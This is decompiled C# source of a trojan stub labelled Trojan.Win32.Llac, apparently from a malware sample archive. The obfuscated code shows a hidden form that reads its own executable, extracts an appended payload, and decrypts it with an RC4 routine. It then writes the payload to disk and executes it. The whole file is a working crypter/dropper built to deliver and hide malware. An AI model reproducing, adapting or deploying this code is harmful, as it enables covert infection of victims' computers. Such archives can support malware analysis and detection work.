MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2/_0005/_0002.cs

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 18A6455A-DBC9-4D4B-8699-BEBEFCABEF8D
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2.exe

using \u0001;
using \u0005;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;

namespace \u0005
{
  internal sealed class \u0002 : Form
  {
    [NonSerialized]
    internal static \u0002 \u0001;
    private IContainer \u0001;

    static \u0002() => \u0004.\u0002(typeof (\u0002));

    public \u0002()
    {
      \u0092\u0003.\u008B\u0004((object) this, new EventHandler(this.\u0002));
      this.\u0002();
    }

    [DebuggerNonUserCode]
    protected override void Dispose([In] bool obj0)
    {
      try
      {
        if (!obj0 || this.\u0001 == null)
          return;
        this.\u0001.Dispose();
      }
      finally
      {
        \u001C\u0003.\u008D\u0004((object) this, obj0);
      }
    }

    private void \u0002()
    {
      this.SuspendLayout();
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      if (true)
      {
        if (true)
        {
          if (false)
            goto label_7;
          else
            goto label_8;
        }
      }
      else
        goto label_8;
label_6:
      \u008D\u0003.\u007E\u007F\u0004((object) this, \u0002.\u0001(322));
      \u008D\u0003.\u007E\u008A\u0004((object) this, \u0002.\u0001(322));
label_7:
      \u001C\u0003.\u007E\u0080\u0004((object) this, false);
      return;
label_8:
      this.ClientSize = new Size(10, 10);
      if (true)
      {
        if (false)
          return;
        \u0090\u0003.\u007E\u0086\u0004((object) this, FormBorderStyle.None);
        \u001C\u0003.\u007E\u0088\u0004((object) this, false);
        \u001C\u0003.\u007E\u0089\u0004((object) this, false);
        goto label_6;
      }
      else
        goto label_7;
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private void \u0002([In] object obj0, [In] EventArgs obj1)
    {
label_0:
      int num1;
      int num2;
      try
      {
        \u0084\u0003.\u0015\u0004();
        num2 = 1;
label_1:
        int num3 = 2;
        string str1 = \u000F\u0003.\u008D\u0003();
label_2:
        if (true)
          num3 = 3;
        else
          goto label_18;
label_4:
        FileSystem.FileOpen(1, \u000F\u0003.\u001C\u0004(), OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
label_5:
        num3 = 4;
        string str2 = \u0089\u0003.\u001A\u0004(checked ((int) \u0081\u0003.\u0011\u0004(1)));
label_6:
        if (true)
        {
          num3 = 5;
          \u007F\u0003.\u000F\u0004(1, ref str2, -1L, false);
        }
        else
          goto label_16;
label_8:
        num3 = 6;
        int[] numArray1 = new int[1]{ 1 };
        \u001F\u0003.\u000E\u0004(numArray1);
label_9:
        num3 = 7;
        string[] strArray = \u008A\u0003.\u001B\u0004(str2, \u0002.\u0001(331), -1, CompareMethod.Binary);
label_10:
        string str3;
        if (true)
        {
          num3 = 8;
          str3 = \u0002.\u0002(strArray[1], \u0002.\u0001(356));
        }
        else
          goto label_4;
label_12:
        num3 = 9;
        \u001E\u0003.\u0008\u0004(5, \u0008\u0002.\u0092(str1, \u0002.\u0001(377)), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1);
label_13:
        num3 = 10;
        if (true)
          \u0080\u0003.\u0010\u0004(5, str3, -1L, false);
        else
          goto label_9;
label_15:
        num3 = 11;
        int[] numArray2 = new int[1]{ 5 };
        \u001F\u0003.\u000E\u0004(numArray2);
label_16:
        num3 = 12;
        Process process = \u0099.\u0015(\u0008\u0002.\u0092(str1, \u0002.\u0001(377)));
label_17:
        num3 = 13;
        \u0096.\u007E\u008C\u0004((object) this);
label_18:
        \u0084\u0003.\u0016\u0004();
        goto label_25;
label_20:
        num1 = num3;
        switch (num2)
        {
          case 1:
            int num4 = num1 + 1;
            num1 = 0;
            switch (num4)
            {
              case 1:
                goto label_0;
              case 2:
                goto label_1;
              case 3:
                goto label_2;
              case 4:
                goto label_5;
              case 5:
                goto label_6;
              case 6:
                goto label_8;
              case 7:
                goto label_9;
              case 8:
                goto label_10;
              case 9:
                goto label_12;
              case 10:
                goto label_13;
              case 11:
                goto label_15;
              case 12:
                goto label_16;
              case 13:
                goto label_17;
              case 14:
                goto label_25;
            }
            break;
        }
      }
      catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0)
      {
        ProjectData.SetProjectError(ex);
        goto label_20;
      }
      throw \u0082\u0003.\u0013\u0004(-2146828237);
label_25:
      if (num1 == 0)
        return;
      \u0084\u0003.\u0015\u0004();
    }

    public static string \u0002([In] string obj0, [In] string obj1)
    {
      int index1 = 0;
      int index2 = 0;
      StringBuilder stringBuilder1 = new StringBuilder();
      string empty = string.Empty;
      int[] numArray1 = new int[257];
      int[] numArray2 = new int[257];
      int length = obj1.Length;
      int index3 = 0;
      while (index3 <= (int) byte.MaxValue)
      {
        char ch = \u0001\u0002.\u007E\u0089((object) \u0004\u0002.\u007E\u008D((object) obj1, index3 % length, 1))[0];
        numArray2[index3] = \u0087\u0003.\u0018\u0004(ch);
        numArray1[index3] = index3;
        int num = \u001F\u0002.\u0019\u0002(\u0089\u0002.\u0089\u0002(ref index3), checked (index3 - 1));
      }
      int index4 = 0;
      int index5 = 0;
      while (index5 <= (int) byte.MaxValue)
      {
        index4 = checked (index4 + numArray1[index5] + numArray2[index5]) % 256;
        int num1 = numArray1[index5];
        numArray1[index5] = numArray1[index4];
        numArray1[index4] = num1;
        if (true)
        {
          int num2 = \u001F\u0002.\u0019\u0002(\u0089\u0002.\u0089\u0002(ref index5), checked (index5 - 1));
        }
        else
          goto label_9;
      }
      index3 = 1;
      goto label_10;
label_9:
      char ch1 = \u0001\u0002.\u007E\u0089((object) \u0004\u0002.\u007E\u008D((object) obj0, checked (index3 - 1), 1))[0];
      int num3;
      int num4 = \u0087\u0003.\u0018\u0004(ch1) ^ num3;
      StringBuilder stringBuilder2 = \u0012\u0002.\u007E\u0099((object) stringBuilder1, \u0088\u0003.\u0019\u0004(num4));
      int num5 = \u001F\u0002.\u0019\u0002(\u0089\u0002.\u0089\u0002(ref index3), checked (index3 - 1));
label_10:
      if (index3 <= \u009C.\u007E\u008A((object) obj0))
      {
        index1 = checked (index1 + 1) % 256;
        index2 = checked (index2 + numArray1[index1]) % 256;
        int num6 = numArray1[index1];
        numArray1[index1] = numArray1[index2];
        numArray1[index2] = num6;
        num3 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
        goto label_9;
      }
      else
      {
        string str = \u009A.\u007E\u0096((object) stringBuilder1);
        \u0010\u0002.\u007E\u0097((object) stringBuilder1, 0);
        return str;
      }
    }
  }
}